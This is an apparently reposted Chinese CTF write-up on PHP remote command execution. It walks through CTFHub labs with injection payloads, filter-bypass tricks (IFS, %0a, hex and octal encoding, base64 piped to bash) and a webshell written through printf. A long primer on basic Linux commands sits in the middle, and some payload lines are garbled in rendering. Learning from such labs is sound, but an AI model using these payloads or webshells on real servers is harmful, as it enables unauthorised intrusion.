通过ctfhub系统对RCE学习
作者:互联网
文章目录
RCE介绍
RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!
具体漏洞代码:
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
exce(ping)(远程系统命令执行)
一.原理
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。
二.攻击:
利用Windows和linux的管道符来执行命令。
Windows管道符
管道符 作用 举例
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面的语句执行出错则执行后面的语句 ping 127.0.0.1||whoami
& 前面的语句为假则执行后面的语句 ping 127.0.0.1&whoami
&& 前面的语句为假,直接出错,前面的语句为真,执行后面的语句 ping 127.0.0.1&&whoami
linux管道符
; 执行完前面的语句再执行后面的。eg:ping 127.0.0.1; whoami
| 显示后面语句的执行结果。eg:ping 127.0.0.1 | whoami
|| 前面的语句执行出错则执行后面的语句 ping 127.0.0.1||whoami
& 前面的语句为假则执行后面的语句,前面的语句不会影响后面的语句执行 ping 127.0.0.1&whoami
&& 前面的语句为假,直接出错也不执行后面的语句,只有前面的语句为真,执行后面的语句 ping 127.0.0.1&&whoami
一般我们是需要用后面的语句来进行攻击,所以首选|,如果被过滤了在考虑其他,下面的例子很简单,使用管道符|,命令运行成功。
payload:
127.0.0.1 | whoami
这是没有经过任何过滤的情况下。
所以命令执行的条件就是:
1.后台接受参数执行的函数为可执行命令的函数。
2.函数或者函数的参数可控。
3.可以凭借注入命令。
一. eval执行函数
以ctfhub的例子为例:
PHP中的命令执行函数语法为:
所以在后台没有函数时,我们直接传入system(" 命令");就行了。
其中 ; 不能少。
靶机环境:
PHP代码显示,要求将命令赋值给cmd然后执行,
先查看一下根目录文件 /?cmd=system(“ls”);
payload:
?cmd=system("ls /");
可以发现上级的目录文件为:
在使用system("cat flag_9759")
;来得到flag。
linux常用的目录操作命令:
/根目录
.当前目录
… 上一级目录
(在后面加一个/也可以)
~家目录
#进入到系统根目录
cd /
#进入到当前目录
cd .
#返回上层目录
cd ..
#进入指定目录/tmp
cd /tmp
#进入当前用户的家目录
cd ~
#回到刚才所在的目录
cd -
#显示当前所在目录的路径
pwd
#显示当前目录的内容(无颜色)
dir
#显示当前目录的内容(有颜色)
ls
#显示指定目录/tmp 的内容
ls /tmp
#列出文件和文件夹的基本属性和详细信息
ls -l
#列出文件和文件夹的基本属性和详细信息
ll
#列出当前目录的全部内容,包括隐藏文件(在文件和文件夹前面加“.”隐藏)
ls -a
创建目录:mkdir
mkdir用来创建目录,如果不加创建路径即在本路径下创建一个新的指定的目录,否则即在给出的路径下创建目录。
#在当前目录下创建ITester子目录
mkdir ITester
#在指定目录/tmp下创建ITester_coco 子目录
mkdir /tmp/ITester_coco
#在当前目录下创建2级目录coco_2和其子目录coco_3
mkdir -p coco_2/coco_3
#在当前目录下创建3个目录 coco vivi jojo(以空格分开)
mkdir coco vivi jojo
建空文本文件:touch
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
#在当前目录下创建coco文件
touch coco
#在指定目录/tmp下创建vivi文件
touch /tmp/vivi
复制文件:cp
cp命令主要用于复制文件或目录。
#复制vivi文件到/tmp 目录下
cp vivi /tmp
#复制/tmp/vivi 文件到/home 目录下
cp /tmp/vivi /home
#复制/home/vivi 到/tmp 目录下并改名为 coco
cp /home/vivi /tmp/coco
#复制/tmp/coco到/home目录下并复制文件属性
cp -p /tmp/coco /home
移动文件或目录:mv
mv 命令用来为文件或目录改名,或将文件、目录移入其它位置。
#移动coco_2020文件到/tmp 目录下
mv coco_2020 /tmp
#移动/home/coco文件到/tmp目录下
mv /home/coco /tmp
#移动/home/coco 文件到/tmp目录下并改名为ITester
mv /home/coco /tmp/ITester
#将ITester文件改名为ITester2020
mv ITester ITester2020
#移动目录到/tmp下
mv ITester202003 /tmp
#将jojo目录改名为hoho
mv jojo hoho
查看文件内容命令:cat
cat 命令用于连接文件并打印到标准输出设备上。
#查看/etc/coco文件
cat /etc/coco
#分屏查看文件内容
cat /etc/coco |more
#分屏查看文件内容,可上下翻页
cat /etc/coco |less
删除文件:rm
rm命令用于删除一个文件或者目录。
#删除coco_2020文件
rm coco_2020
#直接删除ITester2020文件(无需确认)
rm -f ITester2020
#同时删除多个文件(无需确认)
rm -f coco2021 vivi2021 ITester2021
#删除指定目录/tmp下的文件coco
rm /tmp/coco
#删除以co开头的文件
rm co*
#删除空目录
rmdir
#递归的方式删除非空目录coco
rm -r coco
#直接删除非空目录vivi(不用确认)
rm -rf
查找文件:find
find命令用来在指定目录下查找文件,任何位于参数之前的字符串都将被视为需查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并且将查找到的子目录和文件全部进行显示。
#在当前目录下查找以test开头的文件
find test*
#在/etc目录中查找以test开头的文件
find /etc/test*
#在/etc目录中查找以test开头的文件,并显示出来
find /etc/test* -print
在文件中查找关键词:gerp
grep 命令用于查找文件里符合条件的字符串,如果发现某文件的内容符合所指定的条件,grep 指令会将含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。
#在/etc/test文件中查找关键字“coco”
grep “coco” /etc/test
命令注入
靶场环境:
分析源码:
可以得到,通过get方式得到ip参数,之后再传给cmd,通过exec函数来执行我们传入的参数。并在上方通过数组的形式返回。
第一步.测试查看当前目录:
payload:
127.0.0.1 | ls
得到一个PHP文件
然后使用cat 来打开,发现打不开。
应该是文件中包含特殊字符,使用管道运行base64加密内容。
payload:
ip & cat 212821414019926.php | base64
得到文件内容,再使用base64进行解密,得到flag。
命令注入-过滤cat
第一步:
通过ls列出当前目录下的文件。
发现一个flag文件。
根据源码:
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
发现cat被过滤了,但是我们可以使用其他的查看文件的命令:
linux查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
在cat被过滤之后我们常常使用more或者less来代替cat。
在这里我们使用more。
同样的吗,由于无法直接打开PHP文件,我们需要使用base64加密的方式来得到文件内容。
payload:
127.0.0.1 | more flag_180647363763.php | base64
命令注入-过滤空格
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
由源码可知:
空格被过滤。
所以我们就可以使用/**/来代替空格,这个方法也常用在SQL注入,还可以使用< 、<>、%20(space)、%09(tab)、$IFS$9、
I
F
S
、
{IFS}、
IFS、IFS等
payload:
127.0.0.1/**/|/**/ls
得到:
之后打开该flag文件。
payload:
127.0.0.1|cat<flag_283661003431052.php|base64
只有在命令和命令以及命令和内容之间需要空格,在使用管道符的时候是可以不需要空格的。
得到base64编码的文件:
命令注入-过滤目录分隔符
通过127.0.0.1|ls
发现存在子文件夹:flag_is_here
但是不能使用 / 所以我们可以进入该文件夹并且查看该文件夹的文件。
payload:
127.0.0.1;cd flag_is_here;ls
接着打开该文件,得到flag
127.0.0.1;cd flag_is_here;cat flag_278383166710965.php|base64
解码base64
命令注入-过滤运算符
查看源码:
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
发现|和&都被过滤了,但是我们可以使用 ; 来拼接命令。
payload:
127.0.0.1;ls
发现flag文件,那么如何打开呢?
因为过滤了管道符|,不能再使用了,
所以可以使用base64 1.php这个与cat 1.php|base64是等价的。
base64表示使用base64直接打开1.php这个文件。
payload:
127.0.0.1;base64 flag_1084102149665.php
得到文件内容,base64解密。
综合练习
审计源码:
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?
发现 | & cat flag / \ ctfhub 空格都被过滤掉。
所以我们需要选择绕过思路:
空格可以用${IFS}或者<
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
payload:
127.0.0.1%0als
查看文件:
使用hex编码的方式来绕过flag。
payload:
127.0.0.1%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)#
payload:
127.0.0.1%0Abase64${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x32\x30\x31\x39\x36\x34\x33\x38\x34\x32\x31\x37\x32\x2E\x70\x68\x70%22)
其中base64表示使用base64编码的方式读取flag文件。
常见绕过方法
花括号
{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}
斜杠
路径 /
\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过
空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
一些命令分隔符
linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
黑名单绕过
拼接绕过
比如:a=l;b=s;
a
a
ab
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat
a
a
ab
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>
编码绕过
[root~]# echo 'Y2F0wqAK' | base64 -d 1.txt
-d是解码,是base64解码
xxd - r -p
可以转换16进制,同样用户管道符之后。
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
#内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
在前面还可以加上各种命令,比如base64就是以base64编码读取文件内容
单引号和双引号绕过
比如:ca‘‘t flag 或ca""t flag
利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g或者ca$1t fla$2g
linux中直接查看文件内容的工具
cat、tac、more、less、head、tail、nl、sed、sort、uniq
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
(假设该目录下有index.php和flag.php)
cat `ls`
等同于–>
cat flag.php;cat index.php
文件构造
在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt
,已知shell.txt内容为
<?php eval($_REQUEST['ctfhub']);?>
wrequest类型是由get和post构成的
在post数据里输入
ctfhub=system("ls /");
就可以执行命令.
单引号和双引号绕过
c'a't test
c"a"t test
反斜杠绕过
ca\t test
通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test
通配符绕过
[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st
限制长度
a #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符
标签:文件,ctfhub,ip,cat,系统对,flag,coco,RCE,目录 来源: https://blog.csdn.net/qq_45584159/article/details/111592740